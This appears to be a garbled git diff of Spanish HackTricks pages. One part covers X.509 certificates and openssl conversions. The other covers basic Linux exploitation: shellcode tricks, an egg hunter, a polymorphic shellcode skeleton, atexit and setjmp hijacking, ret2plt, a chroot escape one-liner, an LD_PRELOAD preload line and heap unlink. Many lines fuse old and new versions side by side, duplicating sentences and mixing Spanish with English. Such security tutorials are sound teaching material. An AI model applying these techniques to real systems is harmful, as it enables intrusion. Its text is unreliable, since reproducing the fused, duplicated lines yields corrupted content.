¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es un Certificado ## ¿Qué es un Certificado?
Un **certificado de clave pública** es una identificación digital utilizada en criptografía para demostrar que alguien es dueño de una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible una comunicación segura con el propietario de la clave. Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas según lo descrito en el RFC 5280. Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## Campos Comunes de x509 ## Campos Comunes de x509
### **Campos Comunes en Certificados x509** ### **Campos Comunes en Certificados x509**
En los certificados x509, varios **campos** desempeñan roles críticos para garantizar la validez y seguridad del certificado. Aquí tienes un desglose de estos campos: En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
* El **Número de Versión** indica la versión del formato x509. * **Número de Versión** significa la versión del formato x509.
* El **Número de Serie** identifica de forma única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones. * **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo o una organización. Incluye una identificación detallada como: * El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
* **Nombre Común (CN)**: Dominios cubiertos por el certificado. * **Nombre Común (CN)**: Dominios cubiertos por el certificado.
* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos. * **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
* El **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto. * **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
* El **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA. * **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
* El **Período de Validez** está marcado por marcas de tiempo de **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una fecha determinada. * El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
* La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública. * La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso Extendido de Clave**, **Nombre Alternativo del Sujeto** y otras propiedades para ajustar la aplicación del certificado. * Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
#### **Uso de Clave y Extensiones** #### **Uso de Clave y Extensiones**
* El **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave. * **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
* El **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para la autenticación del servidor TLS. * **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
* **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente. * **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
* Identificadores como **Identificador de Clave del Sujeto** e **Identificador de Clave de Autoridad** garantizan la singularidad y trazabilidad de las claves. * Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de la Autoridad** aseguran la unicidad y trazabilidad de las claves.
* **Acceso a la Información de la Autoridad** y **Puntos de Distribución de la Lista de Revocación (CRL)** proporcionan rutas para verificar la CA emisora y verificar el estado de revocación del certificado. * **Acceso a Información de la Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
* **CT Precertificate SCTs** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado. * **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,39 +75,41 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Diferencia entre los Puntos de Distribución OCSP y CRL** ### **Diferencia entre OCSP y Puntos de Distribución CRL**
**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado de clave pública digital ha sido revocado, sin necesidad de descargar la **CRL** completa. Este método es más eficiente que la tradicional **CRL**, que proporciona una lista de números de serie de certificados revocados pero requiere la descarga de un archivo potencialmente grande. Las CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). **OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **¿Qué es la Transparencia de Certificados?** ### **Qué es la Transparencia de Certificados**
La Transparencia de Certificados ayuda a combatir las amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, las Autoridades de Certificación y los usuarios. Sus objetivos son: La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
* Evitar que las Autoridades de Certificación emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio. * Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
* Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa. * Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
* Proteger a los usuarios contra certificados fraudulentos. * Proteger a los usuarios contra certificados fraudulentos.
#### **Registros de Certificados** #### **Registros de Certificados**
Los registros de certificados son registros públicamente auditables y de solo adición de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada. Los registros de certificados son registros auditables públicamente, de solo anexar, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Aunque el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
#### **Consulta** #### **Consulta**
Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh). Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
## **Formatos** ## **Formatos**
### **Formato PEM** ### **Formato PEM**
* Formato más ampliamente utilizado para certificados. * Formato más utilizado para certificados.
* Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII. * Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
* Extensiones comunes: .cer, .crt, .pem, .key. * Extensiones comunes: .cer, .crt, .pem, .key.
* Principalmente utilizado por servidores Apache y similares. * Utilizado principalmente por Apache y servidores similares.
### **Formato DER** ### **Formato DER**
* Un formato binario de certificados. * Un formato binario de certificados.
* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en archivos PEM. * Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
* Extensiones comunes: .cer, .der. * Extensiones comunes: .cer, .der.
* A menudo utilizado con plataformas Java. * A menudo utilizado con plataformas Java.
@ -114,7 +117,7 @@ Para explorar los registros de Transparencia de Certificados para cualquier domi
* Almacenado en Base64 ASCII, con extensiones .p7b o .p7c. * Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
* Contiene solo certificados y certificados de cadena, excluyendo la clave privada. * Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
* Compatible con Microsoft Windows y Java Tomcat. * Soportado por Microsoft Windows y Java Tomcat.
### **Formato PFX/P12/PKCS#12** ### **Formato PFX/P12/PKCS#12**
@ -124,7 +127,7 @@ Para explorar los registros de Transparencia de Certificados para cualquier domi
### **Conversión de Formatos** ### **Conversión de Formatos**
Las **conversiones PEM** son esenciales para la compatibilidad: **Las conversiones PEM** son esenciales para la compatibilidad:
* **x509 a PEM** * **x509 a PEM**
```bash ```bash
@ -146,7 +149,7 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Conversiones PFX** son cruciales para gestionar certificados en Windows: **Las conversiones PFX** son cruciales para gestionar certificados en Windows:
* **PFX a PEM** * **PFX a PEM**
```bash ```bash
@ -158,14 +161,6 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. Convertir PEM a PKCS8 2. Convertir PEM a PKCS8
Para convertir un archivo PEM a formato PKCS8, puedes utilizar la herramienta OpenSSL con el siguiente comando:
```bash
openssl pkcs8 -topk8 -inform PEM -outform DER -in archivo.pem -out archivo.pk8 -nocrypt
```
Esto convertirá el archivo PEM a formato PKCS8 y lo guardará como archivo.pk8 en formato DER.
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
@ -174,30 +169,31 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. Convertir CER y Clave Privada a PFX 2. Convertir CER y clave privada a PFX
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Explotación de Linux (Básico) # Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## **2.SHELLCODE** ## **2.SHELLCODE**
@ -41,9 +42,9 @@ fp = (void *)shellcode;
fp(); fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> }<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
Para confirmar que las llamadas al sistema se realizan correctamente, se debe compilar el programa anterior y las llamadas al sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO** Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
Al crear shellcodes, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la instrucción de llamada, hemos colocado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y continuar ejecutando el código. A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
EJ **TRUCO (/bin/sh)**: EJ **TRUCO (/bin/sh)**:
``` ```
@ -93,13 +94,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs pop eax ; Guarda el EIP en el que se ejecutó fabs
``` ```
**Buscador de Egg:** **Egg Huter:**
Es un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode guardada allí (busca alguna firma específica en la shellcode). Útil en casos donde solo hay un espacio limitado para inyectar código. Consists of a small code that traverses the memory pages associated with a process in search of the shellcode stored there (looks for a signature placed in the shellcode). Useful in cases where there is only a small space to inject code.
**Shellcodes Polimórficos** **Shellcodes polimórficos**
Son shells cifrados que contienen un pequeño código para descifrarlos y saltar a él, utilizando el truco de Call-Pop. Un **ejemplo sería un cifrado César**: Consist of encrypted shells that have a small code that decrypts them and jumps to it, using the Call-Pop trick this would be an **ejemplo cifrado cesar**:
``` ```
global _start global _start
_start: _start:
@ -118,104 +119,144 @@ call init
sc: sc:
;Aquí va el shellcode ;Aquí va el shellcode
``` ```
## **5. Métodos complementarios** ## **5.Métodos complementarios**
**Técnica de Murat** **Técnica de Murat**
En Linux, todos los programas se mapean comenzando en 0xbfffffff. En linux todos los progamas se mapean comenzando en 0xbfffffff
Al observar cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit de manera que el programa se inicie en un entorno donde la única variable sea la shellcode. La dirección de esta variable se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode). Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
De esta forma, se puede obtener de manera sencilla la dirección donde se encuentra la variable de entorno con la shellcode. De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
Esto es posible gracias a que la función execle permite crear un entorno que solo contenga las variables de entorno deseadas. Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
##
###
###
###
###
### **Format Strings to Buffer Overflows** ### **Format Strings to Buffer Overflows**
La función **sprintf** mueve una cadena formateada a una variable. Por lo tanto, se podría abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido. Por ejemplo, la carga útil `%.44xAAAA` escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer. La **sprintf mueve** una cadena formateada **a** una **variable.** Por lo tanto, podrías abusar del **formato** de una cadena para causar un **desbordamiento de búfer en la variable** donde se copia el contenido.\
Por ejemplo, la carga útil `%.44xAAAA` **escribirá 44B+"AAAA" en la variable**, lo que puede causar un desbordamiento de búfer.
### **Estructuras \_\_atexit** ### **\_\_atexit Structures**
{% hint style="danger" %} {% hint style="danger" %}
Hoy en día es muy raro explotar esto. Hoy en día es muy **raro explotar esto**.
{% endhint %} {% endhint %}
`atexit()` es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un `exit()` o al retornar del `main`. Si se puede modificar la dirección de alguna de estas funciones para que apunte a una shellcode, por ejemplo, se obtendrá el control del proceso, pero actualmente esto es más complicado. Actualmente, las direcciones de las funciones a ejecutar están ocultas detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están encriptadas con XOR y desplazamientos con una clave aleatoria. Por lo tanto, actualmente este vector de ataque no es muy útil, al menos en x86 y x64_86. La función de encriptación es `PTR_MANGLE`. Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa... no implementan la función de encriptación porque devuelve lo mismo que recibe como entrada. Por lo tanto, estas arquitecturas podrían ser atacadas por este vector. **`atexit()`** es una función a la que se **pasan otras funciones como parámetros.** Estas **funciones** serán **ejecutadas** al ejecutar un **`exit()`** o el **retorno** de la **main**.\
Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para apuntar a una shellcode, por ejemplo, **ganarás control** del **proceso**, pero esto es actualmente más complicado.\
Actualmente las **direcciones a las funciones** que se ejecutarán están **ocultas** detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Así que actualmente este vector de ataque **no es muy útil al menos en x86** y **x64\_86**.\
La **función de encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelven lo mismo** que recibieron como entrada. Así que estas arquitecturas serían atacables por este vector.
### **setjmp() & longjmp()** ### **setjmp() & longjmp()**
{% hint style="danger" %} {% hint style="danger" %}
Hoy en día es muy raro explotar esto. Hoy en día es muy **raro explotar esto**.
{% endhint %} {% endhint %}
`Setjmp()` permite guardar el contexto (los registros). `longjmp()` permite restaurar el contexto. Los registros guardados son: `EBX, ESI, EDI, ESP, EIP, EBP`. Lo que sucede es que EIP y ESP son pasados por la función `PTR_MANGLE`, por lo que las arquitecturas vulnerables a este ataque son las mismas que se mencionaron anteriormente. Son útiles para la recuperación de errores o interrupciones. Sin embargo, por lo que he leído, los otros registros no están protegidos, por lo que si hay un `call ebx`, `call esi` o `call edi` dentro de la función llamada, se puede tomar el control. También se podría modificar EBP para modificar ESP. **`Setjmp()`** permite **guardar** el **contexto** (los registros)\
**`longjmp()`** permite **restaurar** el **contexto**.\
Los **registros guardados** son: `EBX, ESI, EDI, ESP, EIP, EBP`\
Lo que sucede es que EIP y ESP son pasados por la **función `PTR_MANGLE`**, así que las **arquitecturas vulnerables a este ataque son las mismas que las anteriores**.\
Son útiles para recuperación de errores o interrupciones.\
Sin embargo, por lo que he leído, los otros registros no están protegidos, **así que si hay un `call ebx`, `call esi` o `call edi`** dentro de la función llamada, se puede tomar el control. O también podrías modificar EBP para modificar el ESP.
### **VTable y VPTR en C++** **VTable y VPTR en C++**
Cada clase tiene una Vtable que es un array de punteros a métodos. Cada clase tiene una **Vtable** que es un array de **punteros a métodos**.
Cada objeto de una clase tiene un VPtr que es un puntero al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra sobrescribir el VPtr, se podría modificar para que apunte a un método ficticio, de modo que al ejecutar una función se dirija a la shellcode. Cada objeto de una **clase** tiene un **VPtr** que es un **puntero** al array de su clase. El VPtr es parte del encabezado de cada objeto, así que si se logra un **sobrescritura** del **VPtr** podría ser **modificado** para **apuntar** a un método ficticio de modo que ejecutar una función iría a la shellcode.
## **Medidas preventivas y evasiones** ## **Medidas preventivas y evasiones**
### **Reemplazo de Libsafe** ###
Se activa con: LD_PRELOAD=/lib/libsafe.so.2 o "/lib/libsave.so.2" > /etc/ld.so.preload **Reemplazo de Libsafe**
Intercepta las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado (solo para x86, no para compilaciones con -fomit-frame-pointer, no para compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no funciona en binarios con suid). Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\
o\
“/lib/libsave.so.2” > /etc/ld.so.preload
### **Espacio de direcciones ASCII Armored** Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaciones con -fomit-frame-pointer, no compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid).
Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene casi ningún ataque, y menos en little endian. **ASCII Armored Address Space**
### **ret2plt** Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
Consiste en realizar un ROP de manera que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()... Al final se llama la dirección guardada en GOT que será system(). **ret2plt**
### **Jaulas con chroot()** Consiste en realizar un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()… Al final se llama la dirección guardada en GOT que será system()
**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
Un administrador puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
### **Instrumentación de código** **Instrumentación de código**
Valgrind —> Busca errores Memcheck RAD (Return Address Defender) Insure++ Valgrind —> Busca errores\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos** ## **8 Heap Overflows: Exploits básicos**
**Trozo asignado** **Trozo asignado**
prev_size | size | —Cabecera \*mem | Datos prev\_size |\
size | —Cabecera\
\*mem | Datos
**Trozo libre** **Trozo libre**
prev_size | size | \*fd | Ptr forward chunk \*bk | Ptr back chunk —Cabecera \*mem | Datos prev\_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabecera\
\*mem | Datos
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan). Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
En "size" hay bits para indicar: si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte en el bin adecuado. Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
unlink(){ BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk } unlink(){\
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
}
